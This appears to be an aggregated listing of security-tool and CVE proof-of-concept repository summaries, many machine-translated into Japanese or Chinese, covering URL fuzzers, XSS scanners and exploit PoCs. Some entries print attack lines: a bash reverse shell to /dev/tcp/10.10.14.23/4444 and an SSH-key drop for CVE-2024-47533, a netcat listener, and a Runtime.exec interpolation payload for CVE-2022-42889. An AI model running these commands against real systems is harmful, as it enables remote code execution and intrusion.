urlfinder

URLFinder アクティブスキャンを行わずに効率的なWebアセット発見を実現する、パッシブURL収集のための高速ツール。 機能 • インストール • 使い方 • 使用例 • Discordに参加 概要 URLFinderは、ペネトレーションテスター、セキュリティ研究者、開発者にとって理想的な、高速かつパッシブなURL発見ツールです。アクティブスキャンなしでWebアセットの発見を簡素化・高速化します。 機能 厳選されたパッシブソース で包括的なURL発見を最大化 複数の出力形式に対応（JSON、ファイル、標準出力） 速度とリソース効率に最適化 STDIN/OUT...

CVE-2026-42897

CVE-2026-42897 - Exchange Health Checker アウトバウンド書き換えルールの盲点 深刻度: Medium CVSS 5.3 コンポーネント: Microsoft CSS-Exchange - HealthChecker 診断ツール 影響を受けるファイル: Diagnostics/HealthChecker/Analyzer/Get-URLRewriteRule.ps1 L49, L72, L97 Diagnostics/HealthChecker/Analyzer/Invoke-AnalyzerIISInformation.ps1 L442–459...

cve-2020-7799

cve-2020-7799 cve-2020-7799 の一括検出 同じディレクトリに text.txt ファイルを追加してください ファイル内のurl形式は次の通りです： www.baidu.com 132.231.132.132 133.12.122.13:8080 あとは python3 cve-2020-7799.py を実行するだけです。 注意：本プロジェクトのすべてのリソースを不正なテストに使用することを禁止します！...

HouseProxy

HouseProxy フィッシングから親を守る、フィッシングURLのブロックに特化したHTTPプロキシ インストール git clone https://github.com/mthbernardes/HouseProxy.git cd HouseProxy/ pip3 install -r requeriments.txt 設定 etc/HouseProxy.confを編集してデフォルトのユーザーとパスワードを変更します DNSにhouse.proxyのエントリを作成します 使用方法 $ hug -f index.py $ sudo echo "localhost house.prox...

xsssniper

XSSSNIPER xsssniper is an handy xss discovery tool with mass scanning functionalities. Usage: Usage: xsssniper.py options Options: -h, --help show this help message and exit -u URL, --url=URL target URL --post try a post request to target url --data=POSTDATA post data to use --threads=THREADS...

xsssniper

XSSSNIPER xsssniper 是一个方便的 XSS 发现工具，具有批量扫描功能。 使用方法： Usage: xsssniper.py options Options: -h, --help show this help message and exit -u URL, --url=URL target URL --post try a post request to target url --data=POSTDATA post data to use --threads=THREADS number of threads --http-proxy=HTTPPROXY scan...

PDFkit-CMD-Injection

PDFkit-CMD-Injection 命令注入漏洞 CVE-2022-25765 pdfkit 0.8.6 命令注入漏洞。 pdfkit 包容易受到命令注入攻击，原因是 URL 未进行适当清理。 注意：该问题已在 0.8.7.2 中修补，但后来发现该修补无效。更新后的修补版本为 0.8.7.2。 PoC 启动一个 HTTP 服务器 python3 -m http.server 80 启动一个 netcat 监听器 nc -nlvp 4444 使用 CURL 发送请求 curl 'TARGETADDRESS' -X POST -H 'User-Agent: Mozilla/5.0 X1...

CVE-2022-42889-POC

CVE-2022-42889-POC CVE-2022-42889 脆弱性を悪用する方法を示すシンプルなデモアプリケーションです。 OOB（Out of Band）サービスを利用して、dnsおよびurlプレフィックスをデモンストレーションします。 commons-text 補間のJavaDocs commons-text JavaDocs 補間の例 script:javascript "$script:javascript:java.lang.Runtime.getRuntime.exec'touch /tmp/blop'" dns "$dns:address|HOST" url...

angryFuzzer

AngryFuzz3r ステータス: 開発中 AngryFuzz3rプロジェクトについて AngryFuzz3rは、ペンテスト用のツールコレクションで、Fuzzedb https://github.com/fuzzdb-project/fuzzdb プロジェクトに基づいてターゲットの情報収集と脆弱性発見を行います。 UrlFuzz3r-AngryFuzz3r1 Webサーバー上の隠しファイルやディレクトリを発見します。このアプリケーションは、指定されたセットと比較することで、指定されたWebサイトのURL相対パスを見つけようとします。 特徴 入力ファイルからのFuzz URLセット...

NucleiFuzzer

NucleiFuzzer = Nuclei + Paramspider + waybackurls + gauplus + hakrawler + katana + Fuzzing Templates 概要 NucleiFuzzer は、強力なURL発見ツールと脆弱性スキャンツールを統合し、Webアプリケーションのセキュリティテストを効率化・最適化するために設計された高度な自動化ツールです。ParamSpider、Waybackurls、Katana、Gauplus、Hakrawler を組み合わせて、Webアプリケーションの潜在的なエントリポイントを包括的に収集・列挙します。Nucle...

CVE-2022-30190

CVE 30190 Amine TITROFINE | 2022年12月17日 Follina CVE-2022-30190 は、最近発見された Microsoft Office のゼロデイ脆弱性です。これは高深刻度の脆弱性であり、攻撃者はこれを利用してリモートコード実行 RCE 攻撃を行うことができます。この脆弱性は、Word などの呼び出し元アプリケーションから URL プロトコルを使用して MSDT...

xepor

Xepor Xepor pronounced /ˈzɛfə/ , zephyr is a web routing framework for reverse engineers and security researchers. It provides a Flask-like API for hackers to intercept and modify HTTP requests and/or HTTP responses in a human-friendly coding style. This project is meant to be used with mitmproxy...

CVE-2021-3131

CVE-2021-3131 推奨される説明 8.3.17.1851 より前の 1C:Enterprise 8 の Web サーバーは、'creds' URL パラメーターで base64 エンコードされた資格情報を送信します。 脆弱性タイプ その他 CWE-522 不十分に保護された資格情報 製品のベンダー 1C Company 影響を受ける製品コードベース 1C:Enterprise 8 - テスト済み: 8.3.17.1851 影響を受けるコンポーネント Web サーバー 影響 情報漏えい true ベンダーは脆弱性を確認または認識していますか? true 発見者 Irina...

CVE-2024-47533

Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p...

pythem

pythem - Penetration Testing Framework pythem is a multi-purpose pentest framework written in Python. It has been developed to be used by security researchers and security professionals. The tool intended to be used only for acts within the law. I am not liable for any undue and unlawful act...

CVE-2024-38475_SonicBoom_Apache_URL_Traversal_PoC

CVE-2024-38475SonicBoomApacheURLTraversalPoC 著者: abrewer251 CVE-2024-38475（「SonicBoom」）Apache URL トラバーサルの脆弱性をテストするための概念実証ツールです。このスクリプトは、TLSネゴシエーション、ディレクトリスキャン、トラバーサル検証、ペイロードファジングを自動化し、不正なファイルアクセスを特定します。 説明 このリポジトリには、以下の処理を行うPythonスクリプト（poc.py）が含まれています: 1. 対象との間でサポートされている最高のTLS/SSLプロトコルをネゴシエートします。...

CVE-2026-20841

🛡️ CVE-2026-20841 - Windows Notepad セキュリティテストツール ⚠️ CVE-2026-20841 とは何ですか？ CVE-2026-20841 は、Windows Notepad アプリケーションにおける既知のセキュリティ上の弱点です。この脆弱性は、Notepad がクリック可能なリンクを含む書式付きテキストを表示できるマークダウン機能に影響します。この弱点は、Notepad 内で動作するマークダウンエンジンが許可するリンクの種類（URLプロトコルと呼ばれる）を制限しないために発生します。つまり、攻撃者は、クリックされると Notepad...

scout

Scout Scout is a URL fuzzer and spider for discovering undisclosed VHOSTS, files and directories on a web server. A full word list is included in the binary, meaning maximum portability and minimal configuration. Aim and fire! Usage Usage: scout command Available Commands: help Help about any...

scout

Scout Scoutは、Webサーバ上で非公開のVHOST、ファイル、ディレクトリを発見するためのURLファザー兼スパイダーです。 バイナリには完全なワードリストが含まれているため、最大の移植性と最小の設定で使用できます。照準を定めて発射！ 使用法 Usage: scout command Available Commands: help Help about any command url Discover URLs on a given web server. version Display scout version. vhost Discover VHOSTs on a giv...

CVE-2021-24006

CVE-2021-24006 – FortiManager 不適切なアクセス制御エクスプロイト PoC PoC Proof of Concept - 教育目的のみ FortiManager の SD-WAN Orchestrator への不正アクセスエクスプロイト。アクセス制御の欠陥 CWE-284 を悪用します。 説明 CVE-2021-24006 の脆弱性は FortiManager バージョン 6.4.0 から 6.4.3 に影響し、制限付きプロファイルを持つ認証済みユーザー が、インターフェイス経由の明示的な権限がなくても、SD-WAN Orchestrator のダッシュボード...